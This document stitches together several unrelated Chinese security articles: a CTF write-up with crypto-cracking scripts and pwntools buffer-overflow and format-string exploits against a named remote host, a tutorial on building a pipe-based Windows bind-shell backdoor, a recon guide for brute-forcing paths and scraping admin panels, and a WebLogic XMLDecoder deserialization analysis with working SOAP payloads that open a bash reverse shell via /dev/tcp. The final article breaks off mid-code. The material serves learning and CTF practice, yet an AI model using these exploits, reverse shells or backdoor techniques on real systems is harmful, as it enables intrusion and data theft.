提示：有很多可能性，其中我们需要找到最大的匹配答案提交，并且a和b都小于1000
flag{710,808}
**解析思路**
在这个题目中，我们需要解决的是小密钥的Diffe-hellman的密钥交换破解问题，正如题目中给出的密钥交换算法中的描述：
图中展示的是两个人交换密钥的一些参数，我们现在就是一个中间人，截取到了他们两个密钥交换的中间参数。按照Diffie-Hellman的描述，我们只获取中间的参数也就是ga和gb是无法直接求出最终密钥gab的。不过这个题目中给出的参数都很小，我们可以根据题目提示，最大的一组参数暴力破解得到a和b
代码如下：
import numpy as np
q=541
g=10
alist=[]
aplus=[]
gaplus=[]
for a in range(1,1000,1):
if(a<3):
v=np.power(g,a)%q
alist.append(v)
else:
v=(alist[a-2]*g)%q
alist.append(v)
if v==298:
aplus.append(a)
gaplus.append(v)
blist=[]
bplus=[]
gbplus=[]
for b in range(1,1000,1):
if(b<3):
v=np.power(g,b)%q
blist.append(v)
else:
v=(blist[b-2]*g)%q
blist.append(v)
if v==330:
bplus.append(b)
gbplus.append(v)
gabplus=[]
for i in range(0,len(aplus),1):
for j in range(0,len(bplus),1):
for pw in range(1,bplus[j],1):
if(pw<3):
v=np.power(gaplus[i],pw)%q
gabplus.append(v)
else:
v=(gabplus[pw-2]*gaplus[i])%q
gabplus.append(v)
if(v==399):
print "flag{"+str(aplus[i])+","+str(bplus[j])+"}"
所以最终flag为：flag{710,808}
### 密钥测试
**题目描述**
Alice和Bob决定利用抓包的方式测试一下他们之间的通信是否会被泄露。抓取的数据都在日志中了，请查看一下他们的私钥是否存在被破解的危险
答案格式：flag{xxxx}，不要key=flag{bff149a0b87f5b0e00d9dd364e9ddaa0}
**解析思路**
在这个题目中，我们获取到一个加密嗅探值sniffer_28394hjkasnf.log，根据题目描述，这个是alice和bob为了测试是否加密参数是否可行的一个值。
根据观察，我们发现其中3个值唯一相同点就是公钥参数E都是3，这是不是类似于共模漏洞也可以攻击呢？
当然可以，用以下脚本，攻击一段时间获取了私钥文件：
x1 = 258166178649724503599487742934802526287669691117141193813325965154020153722514921601647187648221919500612597559946901707669147251080002815987547531468665467566717005154808254718275802205355468913739057891997227
x2 = 82342298625679176036356883676775402119977430710726682485896193234656155980362739001985197966750770180888029807855818454089816725548543443170829318551678199285146042967925331334056196451472012024481821115035402
x3 = 22930648200320670438709812150490964905599922007583385162042233495430878700029124482085825428033535726942144974904739350649202042807155611342972937745074828452371571955451553963306102347454278380033279926425450
e = 3
n1 = 770208589881542620069464504676753940863383387375206105769618980879024439269509554947844785478530186900134626128158103023729084548188699148790609927825292033592633940440572111772824335381678715673885064259498347
n2 = 106029085775257663206752546375038215862082305275547745288123714455124823687650121623933685907396184977471397594827179834728616028018749658416501123200018793097004318016219287128691152925005220998650615458757301
n3 = 982308372262755389818559610780064346354778261071556063666893379698883592369924570665565343844555904810263378627630061263713965527697379617881447335759744375543004650980257156437858044538492769168139674955430611
def find_invpow(x, n):
"""Finds the integer component of the n'th root of x,
an integer such that y ** n <= x < (y + 1) ** n.
"""
high = 1
while high ** n < x:
high *= 2
low = high / 2
while low < high:
mid = (low + high) // 2
if low < mid and mid ** n < x:
low = mid
elif high > mid and mid ** n > x:
high = mid
else:
return mid
return mid + 1
def chinese_remainder(n, a):
sum = 0
prod = reduce(lambda a, b: a * b, n)
for n_i, a_i in zip(n, a):
p = prod / n_i
sum += a_i * mul_inv(p, n_i) * p
return sum % prod
def mul_inv(a, b):
b0 = b
x0, x1 = 0, 1
if b == 1: return 1
while a > 1:
q = a / b
a, b = b, a % b
x0, x1 = x1 - q * x0, x0
if x1 < 0: x1 += b0
return x1
if __name__ == '__main__':
n = [n1, n2, n3]
a = [x1, x2, x3]
c = chinese_remainder(n, a)
mCube = c % (n1 * n2 * n3)
solution = find_invpow(mCube, e)
# Results
print solution
print hex(solution)
# To check our result
print solution * solution * solution == mCube
经过hex转码之后得到真正的flag：
key=bff149a0b87f5b0e00d9dd364e9ddaa0
## MISC
### 战队名
**题目描述**
一个大佬战队来报名了，他们的给我了一个很长的队员id名单，他们说战队名就在里面…我怎么找不到呢？
**解析思路**
根据题目提示，我们想要把给出的对原名称合起来，并且转换为一组值。先观察name.txt文件，发现最后一行比较奇特：
双等号的意思，所以猜测是base64.我们根据“藏头诗”的想法，提取每个名字第一个字符。并且最后追加双等号得到：
ZmxhZ3t3aGF0J3NfWW91cl9uYW1lfQ==
Base64解密之后得到最终明文：
flag{what’s_Your_name}
### 密码和约翰
**题目描述**
请找到密码相关项就是最终答案，答案格式：flag{xxx}
**解析思路**
本题目给出了一个linux主机中全部文件，根据提示，使用john（kali中自带安装）破解该主机中的密码，
使用命令：unshadow /etc/passwd /etc/shadow > test_passwd命令创建简单的连接文件。
使用命令：john —wordlist=/usr/share/john/password.lst test_passwd进行密码破解
使用命令：john —show test_passwd查看破解结果
那么破解了gohan用户密码为dragon1，也就是flag
### 签到题
**题目描述**
抓到了木马文件，但是被杀毒软件查杀了。请恢复签名，并找到ftp传送的文件。
**解析思路**
这是个签名被破坏了的数据包文件，但是不妨碍直接提取字符串。
使用strings（linux下）直接提取字符串,并用grep搜索flag
得出flag{roses_r_blue_violets_r_r3d_mayb3_harambae_is_not_kill}
## STEGA
### 夺旗赛
**题目描述**
旗帜既是flag，答案格式flag{xxx}
**解析思路**
题目给出的影片其实需要搜索的部分是静态部分的画面，我们通过FFmpeg命令将其转换为一帧的静态图片：
根据提示，需要观察其中的旗子，通过stegsolve发现其实像素中有不同
根据黑色为“0”，白色为“1”提取得到一串二进制：
01100110 01101100 01100001 01100111 01111011 01010011 01110100 01100101
01100111 00110000 01011111 01100110 00110001 01000001 01100111 01011111
01001111 01001011 00100001 01111101
在线转换为字符得到：
<https://wishingstarmoye.com/tools/ascii>
flag{Steg0_f1Ag_OK!}
### 大脑切片
**题目描述**
这种透明的图片就是看得人脑壳疼…
答案格式：flag{xxx}
**解析思路**
图片是一张带有透明度的图片，并且颜色分布无规律的马赛克
利用alpha.py脚本将alpha通道提取并且根据颜色（rgb，都是16的倍数）进行排序，并当做ascii码转换为字符串，去除小写字母和0后得到一串明文
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.++++++.—————-.++++++.++++++++++++++++++++.——.——————————————————————————————————.++++++++++++++++++++++++++++++++++++++++++++.+++++++++++++++++++.—————————-.+++++++++++++++++++++.——————.——————————————————————————-.++++++++++++++++++++++++++++++++++++++++++++.+++++++++.————————————————————————————.++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++..+++.++++++++.————————————.++++++++++++++.—————————————————————————————.+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.+++++++++++++++.
利用brainfuck解密得到flag{w3_r_th3_h0llow_m3n}
## REVERSE
### 注册码
**题目描述**
注册人flagshop,请找到flagshop的注册码。
flag格式：flag{xxx}
**解析思路**
IDA中通过shift+f12搜索字符串，找到“密钥无效”等中文信息：
找到调用函数：
其中验证函数使用的是sub_4011d0
继续跟进，发现了如下逻辑：
注册码是通过我们输入用户名得到的，而且开头会加上Happy@
所以我们写出逆算法
str='flagshop'
flag = 'Happy@'
for i in range(len(str)):
flag+=chr((i+i*ord(str[i])*ord(str[i]))%66+33)
print flag
Flag:flag{ Happy@!R+3G@-D}
## PWN
### 你知道BOF吗？
**题目描述**
nc 202.98.28.108 9897
**解析思路**
from pwn import *
useless = 0xABCD1234
offset = 40
payload = "A" * offset + p32(0xABCD1234)
r = remote('202.98.28.108',9897)
r.sendline(payload)
r.interactive()
得出flag{what_1s_BOF_you_know_now}
### 我的字符串
**题目描述**
nc 202.98.28.108 9896
**解析思路**
带有canary保护，需要先利用printf格式化字符串漏洞获取保护值，再次覆盖地址：
from pwn import *
r = remote('202.98.28.108',9896)
func = 0x0804854d
r.sendline('%15$x')
canary = int(r.recv(), 16)
payload = 'A'*40 + p32(canary) + 'B'*12 + p32(func)
r.sendline(payload)
r.interactive()
得到flag{fmt_really_good_for_PWN}
锵锵锵，以上是大致解题的思路与过程，欢迎大家交流！ | 社区文章 |
# 基于管道实现简单的shell后门
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近在分析恶意代码的过程中，遇到了基于管道的后门，于是就学习了一下基于管道的shell后门原理，自己动手写了一个简单的shell后门。分享一下，供大家交流，如有错误之处，欢迎指出。声明：本内容仅供用于分析恶意代码时参考相关原理，请自觉遵守相关法律，严禁使用相关技术进行任何非法目的。否则，自行承担后果。
## 原理
本次实现的是一个正向的shell，被控者作为服务器，在本地监听一个端口，hacker作为客户端，通过网络来连接。整个原理如下图所示：
hacker通过网络来发送和接收数据，箭头在这里表示数据流向，首先数据从hacker这里通过网络套接字，传入被控者的buffer区，然后buffer区通过一个管道写入，CMD程序从该管道的另一端读取，并作为CMD程序的输入。
CMD程序执行完结果，将输出写入另一个管道，buffer区再从该管道的另一端读取输出，然后通过网络套接字发送到hacker。
其中，CMD程序通过CreateProcess这个函数API来调用，在设置的时候，可以将程序的输入输出自行指定。
## 相关API
### socket相关
关于socket相关的API，相信大家都很熟悉了，这里就简单介绍一下创建TCP服务端程序的函数调用流程如下：
WSAStartup()->socket()->bind()->listen()->accept()->send()/recv()->closesocket()->WSACleanup()。
首先使用WSAStartup()来初始化Winsock库，使用完毕后要调用WSACleanup()来释放Winsock库。然后使用socket()创建套接字，使用完毕后要调用closesocket()关闭套接字。对于WSAStartup()/WSACleanup()和socket()/closesocket()这样的函数，最好在写完一个函数后，就写出另外一个函数，避免遗忘。创建完套接字后，就可以使用bind()、listen()、accept()、send()和recv()。其中为bind()函数指定地址和端口时，还涉及到sockaddr_in结构体，以及将主机字节序转为网络字节序的htons函数等。这些都是固定的流程，就不过多赘述了。
### 管道相关操作
管道是一种进程之间通信的技术，可以分为命名管道和匿名管道，匿名管道只能实现本地机器上两个进程间的通信，常用来在一个父进程和子进程之间传递数据。我们这里使用匿名管道即可，因为匿名管道比命名管道相对简单。
首先需要CreatePipe()创建管道，该函数的定义如下：
hReadPipe指向一个用来接收管道的读取句柄的变量；
hWritePipe指向一个用来接收管道写入句柄的变量；
lpPipeAttributes指向一个SECURITY_ATTRIBUTES结构的指针，它决定了返回的句柄是否可以由子进程继承。如果lpPipeAttributes为NULL，则该句柄不能继承。这里我们要将其设置为可继承。SECURITY_ATTRIBUTES结构体比较简单可以自行查阅MSDN设置。
nSize指定管道的缓冲区大小，以字节为单位。大小只是一个建议；系统使用值来计算一个适当的缓冲机制。如果此参数为零，则系统使用默认缓冲区大小。这里我们赋值为0即可。
向管道读取或者写入数据，直接调用ReadFile和WriteFile即可。在读取数据前，可以先调用PeekNamePipe()查看管道中是否有数据，其定义如下：
hNamedPipe这个参数可以是一个命名管道实例的句柄，也可以是可以是一个匿名管道的读取端的句柄。其他参数详情可以查阅MSDN。
### 新建进程
相信大家对CreateProcess都不陌生，这里简单回顾一下，函数定义如下：
在这里需要重点关注的是，设置[lpStartupInfo](mk:@MSITStore:C:%5CProgram%20Files%20\(x86\)%5CMSDNCOMPACT15%5Cdllproc.chm::/hh/winbase/)结构体中的内容。该结构体如下：
重点是需要将[hStdInput](mk:@MSITStore:C:%5CProgram%20Files%20\(x86\)%5CMSDNCOMPACT15%5Cdllproc.chm::/hh/winbase/)、[hStdOutput](mk:@MSITStore:C:%5CProgram%20Files%20\(x86\)%5CMSDNCOMPACT15%5Cdllproc.chm::/hh/winbase/)、[hStdError](mk:@MSITStore:C:%5CProgram%20Files%20\(x86\)%5CMSDNCOMPACT15%5Cdllproc.chm::/hh/winbase/)进行设置。设置为对应管道的读写句柄。
在本例中，[hStdInput](mk:@MSITStore:C:%5CProgram%20Files%20\(x86\)%5CMSDNCOMPACT15%5Cdllproc.chm::/hh/winbase/)为管道1的读句柄，[hStdOutput](mk:@MSITStore:C:%5CProgram%20Files%20\(x86\)%5CMSDNCOMPACT15%5Cdllproc.chm::/hh/winbase/)、[hStdError](mk:@MSITStore:C:%5CProgram%20Files%20\(x86\)%5CMSDNCOMPACT15%5Cdllproc.chm::/hh/winbase/)都设置为管道2的写句柄。
## 编码实现
创建套接字：
这里监听的端口时888，任意IP地址都可连接。
创建管道：
创建子进程CMD：
设置死循环不断的通过ReadFile()读取管道中的内容，即CMD程序的执行结果，通过send()发送给hacker。然后不断的通过recv()接收hacker发来的指令，通过WriteFile()写入管道传递给CMD程序。
### 测试效果
hacker与buffer之间，不要直接用telnet，只能一次传送一个字符。要通过netcat.exe发送数据：
先在被控端主机上运行，888端口已经监听：
在另外一台主机上使用nc连接：
连接成功后输入dir，发现目录已经发现改变，从D:\hacker变成了D:\受害者，列出的文件也是受害者主机上的，说明我们已经能够成功在受害者的CMD程序执行命令了。
## 总结
总的来说，这次实验用到了管道和socket等技术，重点在于处理好整个逻辑过程，这些Windows的API相对都不难。 | 社区文章 |
**前言**
在做渗透测试的时候一般网站主站信息都比较少，我们需要在测试过程中进行信息搜集，我们可以根据路径爆破工具进行使用与测评分析工具的特点，批量访问发现的路径查找敏感路径，找到敏感数据，如：后台、其他未授权访问路径，扫描得到敏感文件的路径，从而找到敏感数据。
### **一、使用爆破工具进行破解：**
> gxfr.py、subDomainsBrute.py、wydomain.py、sublist3r.py
> dirsearch：<https://github.com/maurosoria/dirsearch>
> OneForAll：<https://github.com/shmilylty/OneForAll.git>
> virustotal：<https://www.virustotal.com>
> 子域名自动化搜索：<https://d.chinacycc.com>
> dnsdumpster：<https://dnsdumpster.com>
> FeeiCN ：<https://github.com/FeeiCN/esd>
> 御剑、DirBuster、intellitamper、dirmap、椰树、dirb等
**OneForAll：一款功能强大的子域收集工具**
安装过程:
下载更新：`git clone https://github.com/shmilylty/OneForAll.git`
安装依赖包：
`cd /OneForALL`
`pip install -r requirements.txt`
OneForALL源码链接：`https://github.com/shmilylty/OneForAll`
执行操作指令`./oneforall.py --target http://xxx.cn run`
扫描输出的文件存放在/OneForALL/results 目录下
生成一个表格数据文件(.csv)，方便用户查看
查看xxx.csv文件（有域名，url，ip，回复包状态码，banner，isp等）
xxx.csv （超链接，右键打开查看即可）
**Dirsearch：一种高级的命令行工具，旨在对web服务器中的目录和文件进行暴力破解。**
**(一)下载dirsearch步骤**
`git clone https://github.com/maurosoria/dirsearch.git` //kali上输入指令下载源码安装包
`cd dirsearch //切换路径`
`python3 dirsearch.py -u <URL> -e <EXTENSION> //-u(url地址)-e
(EXTENSION指网站语言，如php、asp)`
**(二)附上dirsearch使用手册:**
`https://blog.csdn.net/yigaoyu/article/d etails/108473952`
在dirsearch目录下的README.md文件也有使用方法
**（三）模拟暴力破解敏感路径（靶机ip/510cms）**
Dirsearch/db目录下存放暴力破解所需的字典，可以从中增添字段，加强字典。
接下来输入.`/dirsearch.py -u http://10.10.10.1/510cms -e php --plain-text-report=/su.txt`
进行路径的暴力破解
回显的过程有访问html的状态码status，回复包的长度length，以及网站的路径
`--plain-text-report=/su.txt`为输出报告到指定的路径下面
默认输出报告位置如下:
`/dirsearch/reports`
**Virustotal：病毒扫描引擎站**
（一）VirusTotal
是一款可疑文件分析服务，分析可疑文件和URL以检测恶意软件的类型。通过各种知名反病毒引擎，对您所上传的文件进行检测，以判断文件是否被病毒、蠕虫、木马以及各类恶意软件感染。
**特点：**
> 免费, 独立的服务
> 使用多种反病毒引擎
> 实时自动更新病毒定义库
文件扫描功能，上传一个webshell的木马文件上去检测，检测到是backdoor-PHP文件
（二）url检测,本次检测地址为实训平台`http://xxx.com/`
网页信息回显
Whois域名注册查询，注册登记的信息（姓名，地址，电话，邮箱，网络ip等）
（三）VirusTotal运行DNS复制功能，通过存储用户访问URL时执行的DNS解析来构建数据库。要检索子域名的信息，只需将域名放在搜索栏中即可。
### **二、子域名自动化搜索：扩大渗透测试范围，找到目标站点突破口，业务边界安全**
**（一）谷歌语法：通过特定站点范围查询子域名如`姓名 site:xxx.cn`**
**（二）使用Sublist3r工具枚举域名**
Sublist3r是一个python工具，旨在使用OSINT枚举网站的子域。它可以帮助渗透测试人员和Bug猎手收集和收集其目标域的子域。
安装过程如下:
使用GitHub下载相应的子域名发现工具
kali下安装：
`git clone https://github.com/aboul3la/Sublist3r.git`
安装模块 // `cd /Sbulist3r`
`sudo pip install -r requirements.txt`
枚举目标子域名
`python sublist3r.py -d 目标`
存放域名字典的路径`/Sublist3r/subbrute/`
`./sublist3r.py -d xxx.cn`
`./sublist3r.py -d xxx.cn -p 80,443 -o su.txt`指定80，443端口搜集域名并输出文档到su.txt文本下
**（三）利用Google提出的证书透明度（Certificate Transparency）查询公开的子域，一般查询结果包括域、签发者、有效期和签名等**
`crtsh：https://crt.sh/?q=xxx.cn`
`Censys: https://censys.io/certificates?q=xxx.cn`
**（四）用安全类搜索引擎搜索域名**
**（五）Dnsdumpster:一个免费的域研究工具，可以找到给定域名的大量潜在子域名**
从攻击者的角度寻找可见主机是安全评估过程的重要组成部分。
附上子域名挖掘大全指南:`https://xz.aliyun.com/t/3478`
域名映射图
**（六）子域名挖掘机:L ayer子域名挖掘机是一款域名查询工具，可提供网站子域名查询服务**
**（七）FeeiCN**
**优势**
> 1.支持泛解析域名
> 2.基于RSC（响应相似度对比）技术对泛解析域名进行枚举（受网络质量、网站带宽等影响，速度会比较慢）
> 3.基于aioHTTP获取一个不存在子域名的响应内容，并将其和字典子域名响应进行相似度比对。
> 超过阈值则说明是同个页面，否则则为可用子域名，并对最终子域名再次进行响应相似度对比。
> 更快的速度
> 4.基于AsyncIO异步协程技术对域名进行枚举（受网络和DNS服务器影响会导致扫描速度小幅波动，基本在250秒以内）
> 5.基于AsyncIO+aioDNS将比传统多进程/多线程/gevent模式快50%以上。
> 通过扫描qq.com，共170083条规则，找到1913个域名，耗时163秒左右，平均1000+条/秒。
> 6.更全的字典
> 7.融合各类字典，去重后共170083条子域名字典
**安装过程**
安装
`pip install esd`
升级
`pip install esd --upgrade`
扫描单个域名
`esd -d xxx.com`
详细参数手册请访问：`https://github.com/FeeiCN/ESD/blob/master/README.md`
### **三、对路径进行批量访问查找敏感路径：**
> 后台路径与返回含有重要的敏感信息的文件，比如数据库文件、代码的备份文件或svn、git版本控制文件等,首先了解敏感的信息文件的后缀，如.mdb .zip
> .rar .txt .git .svn等,然后构造url+后缀名的访问请求，即可查找和验证敏感文件是否存在
**（一）简易枚举敏感路径脚本，通过url+后缀名来访问网站，从得到的状态码判断路径是否存在。**
from typing import TextIO
import requests
url = 'http://www.xxx.cn/'
with open("web.txt","r") as web:
webs=web.readlines()
for web in webs:
web=web.strip()
u = url+web
r = requests.get(u)
# print("url为:"+u)
print("url为:"+u+' '+"状态为:%d"%r.status_code)
w=open('write.txt','w+')
for web in webs:
web = web.strip()
u = url + web
r = requests.get(u)
w.write("url为:"+u+' '+"状态为:%d"%r.status_code+"\n")
**（二）御剑后台扫描器，同理可得通过写入的域名+路径配置文件，最后判断状态码是否为200，是则回显，否则不回显。**
**（三）intellitamper软件路径枚举**
**（四）获取敏感文件**
网站源码备份文件存放在根目录下，以至于用户可以访问
源码备份存在着敏感数据库备份文件`（.sql）`以及敏感路径和配置文件信息等
攻击者可以通过代码审计等方法对网站进一步的渗透
数据库备份文件泄露（导致管理员账号密码泄露，将其放到md5解密即可）
`admin/adminlwphp`
访问后台路径`10.10.10.1/510cms/admin`，敏感路径泄露，用户可以实现路径穿越
**源码泄露文章参考:**
`https://blog.csdn.net/qq_52116331/article/d etails/109911851`
### **四、对敏感路径进行爬虫获取敏感数据：**
对网站进行爬虫获取敏感数据，可以通过python脚本进行贪婪匹配获取数据，也可以通过参数的匹配来匹配数据。
**（一）爬取oa系统后台日数据**
某后台网站的个人系统日志模块，记录用户名，ip地址，登录时间，登出时间。
对网站进行暴力破解，得知账号密码为phpoa/12345678
from selenium import webdriver
import re
from bs4 import BeautifulSoup
import requests
heade={
'Accept':'text/html,application/xhtml+x ml,application/x ml;q=0.9,image/webp,*/*;q=0.8',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0',
'Cookie':'csa=19; my_expand_3=2%2C1%2C0%2C; my_expand_all_3=; PO_auth=MQlkMjM4N2YwYjMyZjIzM2RjYzg5OWZmNGE0ODU0OWE4NA%3D%3D'
}
postdata={
'username':'phpoa',
'password':'12345678'
}
for i in range(1,20):
posturl=("http://10.10.10.1/oa/admin.php?ac=log&fileurl=member&page=%d"%i)
res=requests.post(url=posturl,data=postdata,headers=heade)
text=res.text
pattern=re.compile('<li class="name">(.*?)</li>.*?<td class="name">(.*?)</td>.*?<td>(.*?)</td>.*?<td>(.*?)</td>',re.S)
flag=re.findall(pattern,text)
print(" 用户名 "+"ip地址 "+"登录时间 "+"登出时间")
print(flag)
**（二）爬取cms后台留言板信息**
Cms管理后台留言板时间，QQ，Email邮箱，IP信息。
对网站进行暴力破解，得知账号密码为admin/123456
from selenium import webdriver
import re
from bs4 import BeautifulSoup
import requests
heade={
'Accept':'text/html,application/xhtml+x ml,application/x ml;q=0.9,image/webp,*/*;q=0.8',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0',
'Cookie':'username=admin; userid=1; PO_auth=MQkyODExZmI4ZjQ5MTllOGMxMmMyMjc4NDlkMzNmMjFlMg%3D%3D; PHPSESSID=5d26475d72a9c879b007642b29764cf2'
}
postdata={
'username':'admin',
'password':'123456'
}
posturl=("http://10.10.10.1/cms/admin/message.php")
res=requests.post(url=posturl,data=postdata,headers=heade)
text=res.text
pattern=re.compile('.*?<font style="color:#009900">(.*?)</font>.*?</font>(.*?)</td>.*?',re.S)
flag=re.findall(pattern,text)
for i in range(0,3):
print(flag[i])
**（三）利用搜索引擎爬取敏感信息（姓名 site:xxx.cn）爬取网站有姓名字样的网页**
**总结**
由于后台人员的疏忽或者不当的设计，导致不应该被前端用户看到的数据被轻易的访问到。敏感信息泄露虽然一直被评为危害比较低的漏洞，但这些敏感信息往往给攻击者实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。因此,在web应用的开发上，除了要进行安全的代码编写，也需要注意对敏感信息的合理处理。 | 社区文章 |
### 从cve-2017-3506谈起
2017年4月weblogic官方发布了一个补丁
<http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html>
官方说这洞主要是web service模块的问题，那我们来动态调试一下
exp
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/127.0.0.1/2333 0>&1</string>
</void>
</array>
<void method="start"/></void>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
看一下调用栈
所以最终我们的payload会调用进行readobject反序列化
然而这个readobject确实XMLDecoder的一个方法，而这个XMLDecoder却不是weblogic特有的类而是java的一个通用类
所以很容易就能发现这洞本质并不是weblogic的问题，但是weblogic确实对其进行了修补，方法很粗暴
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
简单来说就是限制了object标签，使其不能使用object创建指定类的实例，然而这种黑名单修补方法实在是太憨憨了，所以就有了CVE-2017-10271
### cve-2017-10271
exp
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/127.0.0.1/2333 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
我们可以看到这里我们使用了void来代替object来绕过了黑名单过滤，当然后续不止void还可以使用new关键词来代替object，不知道大家看到这exp的时候有没有疑惑，为什么void元素和new元素可以代替object呢?这是XMLDecoder的问题还是weblogic的问题?还有没有别的元素也可以被特殊处理呢?带着这些疑问上网查了一下，然而网上大部分都是你抄我，他抄你的基本都是跟踪到readobject就结束了，所以无奈之下我问了一下chybeta师傅，他给了我一个链接
<https://docs.oracle.com/javase/9/docs/api/java/beans/XMLEncoder.html>
然而这段英文我不管是读原文还是用谷歌翻译成中文都无法理解(吃了没文化的亏)，所以绝知此事还得动态调试
这里因为我已经知道问题大致出在了XMLDecoder里面，所以就把XMLDecoder拉出来单独调试了
xmlDecode
package demo.xdsec;
import com.sun.beans.decoder.DocumentHandler;
import org.xml.sax.helpers.DefaultHandler;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.beans.XMLDecoder;
import java.io.IOException;
public class xmlDecode{
public static void XMLDecode_Deserialize(String path) throws Exception {
File file = new File(path);
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder xdsec = new XMLDecoder(bis);
xdsec.readObject();
xdsec.close();
}
public static void main(String[] args) throws IOException {
String path = "src/poc.xml";
try {
XMLDecode_Deserialize(path);
} catch (Exception e) {
e.printStackTrace();
}
}
}
poc.xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="2">
<void index="0">
<string>open</string>
</void>
<void index="1">
<string>/Applications/Calculator.app</string>
</void>
</array>
<void method="start" />
</object>
</java>
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="2">
<void index="0">
<string>open</string>
</void>
<void index="1">
<string>/Applications/Calculator.app</string>
</void>
</array>
<void method="start" />
</object>
</java>
运行，弹出计算器
证明我们的理论没问题，我们下断点跟一下
在readobject下断点
发现其调用了parsingComplete函数，继续跟入
发现调用了parse函数跟入看一下
这里做了一些权限检查以后跟入
SAXParserFactory.newInstance().newSAXParser().parse
后面的调用栈比较深，大致是做了一些取xml版本，头信息的操作这里给出一个调用栈图，有兴趣的可以自己跟一下
然后我们来到了关键的地方
注意一下this.handlers参数，这里包含了所有元素对应的解析器
假如这里我们解析的元素是array，所以我们会调用arrayElementHandler的构造函数去实例化一个`arrayElementHandler`的类对象，然后设置一些属性，在这里我们可以重点看一下
this.handler.addAttribute这一步操作也就是如果没有length属性的话则会调用父类也就是newelementhandler的addAttribute方法
这里因为我们的payload是`<array class="java.lang.String"
length="2">`所以第一属性是class不是length，所以需要调用newelementhandler的addAttribute方法，我们看一下
这里定义了对class属性的处理过程，也就是会返回我们通过class属性的类，ok，看到这里我们再看看object元素的处理
注意这里的object依然继承newelementhandler所以，依然是调用newelement的addAttribute，所以可以获得类，这也证明的new元素本身可以代替class，然后我们再来看看void元素
看到这里我们的疑惑应该解决了，也就是继承了objecthandlerelement或者newhandlerelement的元素可以代替object元素，那有人肯定有疑问为什么我们刚刚提到的array元素不行，其实我们本地测一下就能知道问题出在哪里了，我们获得的class最终会在执行endelement调用对应handler的getValueObject函数进行取值
我们看看不同handler的getValueObject的实现
array
object
我们可以发现arrayelementhandler是使用Array.newInstance创建array的实例，而不是我们传入的类的实例
篇幅有限,这里有没有别的可替代的元素大家可以自行去看一下。
然后执行到ValueObjectImpl.create里的getvalue
通过反射最终执行代码
### cve-2019-2725
就在weblogic以为高枕无忧的时候，时隔两年
又出了新的绕过方式，我们来看一下最新的补丁
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("class")) {
throw new IllegalStateException("Invalid element qName:class");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for(int i = 0; i < attributes.getLength(); ++i) {
if (!"index".equalsIgnoreCase(attributes.getQName(i))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));
}
}
}
if (qName.equalsIgnoreCase("array")) {
String attClass = attributes.getValue("class");
if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
String lengthString = attributes.getValue("length");
if (lengthString != null) {
try {
int length = Integer.valueOf(lengthString);
if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
throw new IllegalStateException("Exceed array length limitation");
}
this.overallarraylength += length;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException("Exceed over all array limitation.");
}
} catch (NumberFormatException var8) {
